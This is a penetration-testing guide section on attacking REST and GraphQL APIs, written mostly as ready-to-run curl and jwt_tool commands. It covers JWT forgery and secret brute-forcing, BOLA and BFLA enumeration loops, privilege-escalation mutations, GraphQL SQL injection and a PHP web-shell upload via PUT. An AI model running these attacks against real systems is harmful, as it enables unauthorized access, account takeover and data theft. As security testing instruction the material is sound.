API Testing
WSTG-APIT-01
Understanding Modern API Attack Surfacesβ
APIs - particularly REST and GraphQL - have largely replaced traditional server-rendered web pages as the backend for modern web applications. They are often less carefully secured than the UI, because developers assume API endpoints aren't "user-facing." This assumption is wrong.
APIs share all the same vulnerability classes as traditional web apps (injection, auth bypasses, access control failures) with some additional API-specific issues:
- BOLA (Broken Object Level Authorization) - the API equivalent of IDOR
- BFLA (Broken Function Level Authorization) - unauthorized access to administrative API functions
- Mass assignment - APIs accepting fields they shouldn't
- Excessive data exposure - APIs returning more data than the client uses
- JWT vulnerabilities - token forgery and algorithm manipulation
- GraphQL-specific - introspection, nested queries, batching abuse
API Discoveryβ
You can't test what you can't find. Locate API endpoints before testing them.
# Common API documentation paths
curl -si http://target.com/api/docs
curl -si http://target.com/swagger
curl -si http://target.com/swagger-ui.html
curl -si http://target.com/swagger.json
curl -si http://target.com/openapi.json
curl -si http://target.com/api-docs
curl -si http://target.com/v1/docs
curl -si http://target.com/redoc
# GraphQL endpoint common paths
curl -si http://target.com/graphql
curl -si http://target.com/api/graphql
curl -si http://target.com/query
# Versioned API paths
curl -si http://target.com/api/v1/
curl -si http://target.com/api/v2/
curl -si http://target.com/api/v3/
# Directory brute force with API-specific wordlists
ffuf -u http://target.com/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,400,401,403
# Mine JS files for API endpoints
curl -s http://target.com/static/app.js | \
grep -oP '["'"'"'][/]api[a-zA-Z0-9/._-]+["'"'"']' | sort -u
If Swagger/OpenAPI documentation is exposed, it's a complete map of the API - every endpoint, method, parameter, and data type. Download it and review it completely before testing.
# Download and review the spec
curl -s http://target.com/openapi.json | python3 -m json.tool | less
# Extract all endpoint paths
curl -s http://target.com/swagger.json | python3 -c "
import json,sys
spec = json.load(sys.stdin)
for path in spec.get('paths', {}):
for method in spec['paths'][path]:
print(method.upper(), path)
"
HTTP Method Testingβ
APIs commonly restrict methods at the UI/documentation level, but the underlying handlers often process any method sent to them.
# Discover allowed methods
curl -si -X OPTIONS http://target.com/api/users \
-H "Cookie: session=SESSION"
# Try each method on a resource
for method in GET POST PUT PATCH DELETE HEAD TRACE; do
echo -n "$method: "
curl -si -X $method http://target.com/api/resource/1 \
-H "Cookie: session=SESSION" | head -1
done
# TRACE - if allowed, reveals proxied headers (potential XST attack)
curl -si -X TRACE http://target.com/
# PUT - if allowed on web directories, may allow file upload
curl -si -X PUT http://target.com/uploads/shell.php \
-d '<?php system($_GET["cmd"]); ?>'
Authentication Testingβ
Test missing/invalid tokenβ
# No token at all
curl -si http://target.com/api/users
# Empty Authorization header
curl -si http://target.com/api/users -H "Authorization: "
# Invalid Bearer token
curl -si http://target.com/api/users -H "Authorization: Bearer invalidtoken"
# Token for one environment used in another (staging token against production)
JWT Testingβ
See Session Management section for JWT basics. API-specific JWT attacks:
# Decode JWT
jwt_tool <TOKEN>
# Test algorithm confusion: none algorithm (remove signature validation)
jwt_tool <TOKEN> -X a
# Change claims and re-sign with same algorithm (requires weak/known secret)
# e.g., change "role":"user" to "role":"admin"
jwt_tool <TOKEN> -T # Interactive tamper
# Brute force HS256 secret
jwt_tool <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# RS256 to HS256 confusion - sign with server's public key as HMAC secret
# (download the public key first - often at /jwks.json, /.well-known/jwks.json)
curl -si http://target.com/.well-known/jwks.json
jwt_tool <TOKEN> -X k -pk server_public.pem
# kid (key ID) injection - if kid is used in a file path or SQL query
# Try path traversal in kid: {"kid": "../../dev/null"}
jwt_tool <TOKEN> -T # Set kid to ../../dev/null, sign with empty string
API Key Testingβ
# Look for API keys in responses, JS files, headers
curl -s http://target.com/ | grep -iE "(api.key|apikey|x-api-key|token)"
# Test API key scopes - does a read-only key work for write operations?
curl -si -X POST http://target.com/api/resource \
-H "X-API-Key: READ_ONLY_KEY" \
-d '{"name":"test"}'
BOLA - Broken Object Level Authorizationβ
The REST API equivalent of IDOR. An API endpoint returns or modifies an object based on an ID in the URL or request body, without verifying the requesting user is authorized for that specific object.
# Authenticated as user A (ID 1042) - session=SESSION_A
# Attempt to access user B's resource (ID 1041)
# Access another user's profile
curl -si "http://target.com/api/v1/users/1041" \
-H "Authorization: Bearer TOKEN_A"
# Access another user's orders
curl -si "http://target.com/api/v1/users/1041/orders" \
-H "Authorization: Bearer TOKEN_A"
# Enumerate a range
for uid in $(seq 1035 1050); do
code=$(curl -so /dev/null -w "%{http_code}" \
"http://target.com/api/v1/users/$uid/data" \
-H "Authorization: Bearer TOKEN_A")
echo "User $uid: HTTP $code"
done
# Test with GUIDs - compute or brute force
# If format is predictable: /api/orders/ORD-00001 through ORD-99999
for i in $(seq 1 100); do
curl -si "http://target.com/api/orders/ORD-$(printf '%05d' $i)" \
-H "Authorization: Bearer TOKEN_A" | head -1
done
BFLA - Broken Function Level Authorizationβ
A regular user can call API functions (create/delete/modify) that should only be available to admins.
# Test admin endpoints with regular user token
curl -si "http://target.com/api/admin/users" \
-H "Authorization: Bearer REGULAR_USER_TOKEN"
curl -si -X DELETE "http://target.com/api/admin/users/1041" \
-H "Authorization: Bearer REGULAR_USER_TOKEN"
curl -si "http://target.com/api/internal/export-all" \
-H "Authorization: Bearer REGULAR_USER_TOKEN"
# Test admin actions via regular endpoints
curl -si -X POST "http://target.com/api/users/1041/ban" \
-H "Authorization: Bearer REGULAR_USER_TOKEN"
# Look for admin-specific parameters in regular endpoints
curl -si -X PATCH "http://target.com/api/users/me" \
-H "Authorization: Bearer REGULAR_USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Test","role":"admin","verified":true}'
GraphQL Testingβ
GraphQL uses a single endpoint that accepts query/mutation documents. The attack surface is different from REST.
Introspection - Discover the full schemaβ
# Enable introspection query - returns all types, fields, queries, mutations
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}'
# Get all queries and mutations
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { queryType { fields { name description } } mutationType { fields { name description } } } }"}'
If introspection is enabled, you have the complete API documentation. Use it to map all available operations.
Test for BOLA in GraphQLβ
# Fetch another user's data by ID
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d '{"query": "{ user(id: 1041) { id email phone address } }"}'
# Enumerate users
for uid in $(seq 1 20); do
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d "{\"query\": \"{ user(id: $uid) { id email } }\"}" | grep -o '"email":"[^"]*"'
done
Test for injection in GraphQL argumentsβ
# SQLi in argument
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d '{"query": "{ user(name: \"admin'\\''--\") { id email } }"}'
# Batch query abuse - send many queries in one request (resource exhaustion or auth bypass)
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d '[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "{ user(id: 3) { email } }"}
]'
Test mutationsβ
# Attempt privilege escalation via mutation
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d '{"query": "mutation { updateUser(id: 1042, role: \"admin\") { id role } }"}'
# Modify another user via mutation (BOLA)
curl -si -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN_A" \
-d '{"query": "mutation { deleteUser(id: 1041) { success } }"}'
API Testing Quick Referenceβ
| Test | Command/Approach |
|---|---|
| Discover API docs | Check /swagger, /openapi.json, /api/docs, JS source mining |
| Test unauthenticated access | Remove Authorization header entirely |
| BOLA enumeration | Swap object IDs between accounts, enumerate sequential IDs |
| BFLA testing | Use regular token on admin endpoints |
JWT alg:none | jwt_tool <token> -X a |
| JWT secret brute force | jwt_tool <token> -C -d rockyou.txt |
| GraphQL schema dump | Send __schema introspection query |
| HTTP method testing | Loop OPTIONS, GET, POST, PUT, DELETE, PATCH against endpoints |
| Mass assignment | Include unexpected privilege fields in PUT/POST body |
| Excessive data exposure | Compare what the API returns vs. what the UI displays |